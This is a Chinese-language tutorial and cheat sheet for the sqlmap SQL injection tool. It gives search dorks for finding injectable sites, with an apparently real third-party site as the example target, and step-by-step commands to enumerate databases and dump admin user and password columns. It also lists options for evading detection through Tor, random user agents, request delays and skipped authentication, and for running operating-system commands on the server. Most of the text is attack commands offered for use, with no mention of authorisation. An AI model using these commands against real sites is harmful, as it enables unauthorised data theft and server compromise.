文章目录
sqlmap 注入介绍
所谓sql注入,就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,
具体来说,他是利用现有应用程序,将恶意sql命令注入到后台数据库引擎执行的能力,他可以通过在web表单输入(恶意)sql语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行sql语句。
由此可见:sql注入点位置可以是 http数据包中的任意位置
检查是否有注入点
- google/baidu搜索: inurl:asp?id=
- 在网址后面加一个单引号‘,看有没有错误
- 在网址后面加一个 and 1=1 看有没有错误,若是返回正常,则可以注入
sqlmap>>>access数据库
步骤
1:检查是否有注入点(url)
2:sqlmap -u "url"
3:sqlmap -u "url" --tables
4:sqlmap -u "url" --columns -T Table_Name
5:sqlmap -u "url" --dump -T Table_Name -C Column_Name
sqlmap>>>mysql/orical/psql数据库
步骤
1:检查是否有注入点(url)
2:sqlmap -u "url" http://www.bible-history.com/subcat.php?id=2
3:sqlmap -u "url" --dbs (猜一下有哪些数据库)
4:sqlmap -u "url" --tables -D Databes_Name (猜一下,数据库有哪些表)
5:sqlmap -u "url" --columns -T Admin -D Databes_Name (T后面是表名,D后面是数据库名,查一下这个表下有哪些字段)
6:sqlmap -u "url" --dump -C user,pass,id,email -T Admin -D Databes_Name (列出admin此表下user,pass,id,email字段的内容)
Sqlmap使用介绍
sqlmap 直连数据库
sqlmap -d "mysql://admin:password@192.168.1.2:3306/testdb" -f --banner --dbs --users
sqlmap 文件读取目标(只介绍-r,表示从文本文件中读取http请求作为sql注入探测目标,文件一行一个url)
sqlmap -r /root/web.txt -f --banner --dbs --users
sqlmap google批量扫注入
sqlmap -g "inurl:.php?id=1"
sqlmap 设置http方法(默认sqlmap使用get方法,不会主动使用其他方法,要是有其他方法需要手动指定)
sqlmap -u "url" --method=PUT --banner
sqlmap -u "url" --method=POST --banner
sqlmap 设置post提交参数(这种方式虽然没有指定为post,但是指定了提交的数据 --data="id=1",这就隐式的改成了post并且提交了参数)
sqlmap -u "url" --data="id=1" -f --banner --dbs --users
sqlmap 伪造user-agent(默认的是 sqlmap.org,可能会触发防护规则)
sqlmap -u "url" --user-agent="hello 5G" --banner
sqlmap -u "url" --random-agnet --banner #随机变化user-agent
sqlmap 设置对host头进行探测(需要指定level为5)
sqlmap -u "url" --level 5
sqlmap 伪造header头部信息(同时指定user-agent和cookie,注意中间是\n分割的,这很重要)
sqlmap -u "url" --headers="User-Agent:hello 5G\nCookie:123456" --banner
sqlmap 设置http协议认证参数
sqlmap -u "url" --auth-type Basic --auth-cred "testuser:testpassword"
sqlmap 设置代理参数
sqlmap -u "url" --proxy http://123.1.1.1:80 --banner #适用于无认证代理
sqlmap -u "url" --proxy-cred user:password --banner #使用于需要认证的代理
sqlmap -u "url" --proxy-file /root/daili.txt --banner #把多个代理写到文件中,一行一个
sqlmap -u "url" --ignore-proxy --banner #忽略系统代理(有的开启了系统代理的)
sqlmap 设置Tor隐藏网络(要先安装并启用tor apt install tor -y ;service tor start ;service tor status)有http ,https,socks4,socks5几种
sqlmap -u "url" --tor --tor-type https --check-tor --banner
sqlmap 设置发包间隔(避免触发安全规则,单位是秒)
sqlmap -u "url" --delay 0.5 --banner
sqlmap 设置超时和重试次数(默认超时30s,重试3次)
sqlmap -u "url" --timeount 5 --retries 2 --banner
sqlmap 设置随机化参数(避免提交的id信息每次都一致,而被发现,这里将url中的id进行随机化),经测试好像本身就带有随机化,不用指定
sqlmap -u "http://192.168.1.2/sql/Less-1/?id=1" --randomize id --banner
sqlmap 设置忽略401(忽略未授权的站点的认证信息,不提供认证凭据的情况下,继续对站点进行测试,也就是说跳过nginx的访问认证)
sqlmap -u "url" --ignore-401 --banner
sqlmap 设置安全模式(盲注时,避免多次不成功,销毁会话)
sqlmap 设置忽略url编码
sqlmap -u "url" --skip-urlenconde --banner
sqlmap 设置持久化http连接(http报文中设置 Connection:Keep-Alive)
sqlmap -u "url" --keep-alive --banner
sqlmap 设置不接受http body(常用在盲注过程中,不让他显示过多的信息,为了检索没有body的响应内容)
sqlmap -u "url" --null-connection
sqlmap 设置多线程(默认是1个线程,为了不影响服务器性能,sqlmap可以设置最大的线程是10)
sqlmap -u "url" --thread 10
sqlmap 设置预测输出(与--thread 参数不兼容,不能同时使用)
sqlmap -u "url" --predict-output
sqlmap 开启所有的优化参数
sqlmap -u "url" -o
sqlmap 设置指定的注入参数(-p 指定具体探测参数,例如 -p "id,user-agent")
sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1&us=4&uname=admin" -p "user-agent" --current-db #对user-agent进行注入
sqlmap 设置url注入位置,设置任意注入位置(* 所在位置表示注入位置)
sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1*&us=4&uname=admin" --current-db #对id那里进行注入
sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1*&us=4*&uname=admin" --current-db #同时对id,us那里进行注入
--os linux; --os windows #强制设置os系统
--risk 3 #设置风险参数,默认是1,对注入点是无害的,可选1-3
--os-shell #执行系统命令
-f #探测目标指纹信息
--banner #获取后端数据库banner信息
--current-user #获取DBMS当前用户
--current-db #获取当前数据库名
--hostname #获取检索dbms当前主机名
--is-dba #探测当前用户是否是数据库管理员
--users #获取dbms所有用户
--password #获取用户密码
--role #枚举dbms权限
--dbs #列举数据库名称
--tables #枚举表名 -D databasesname 指定具体数据库
--dump #枚举数据值
--os-cmd="dir" -v3 #执行系统命令
--batch -v3 --crawl=3 #爬取url,从目标开始,往下面爬取,深度为3
如果文章对你有帮助,欢迎点击上方按钮打赏作者
暂无评论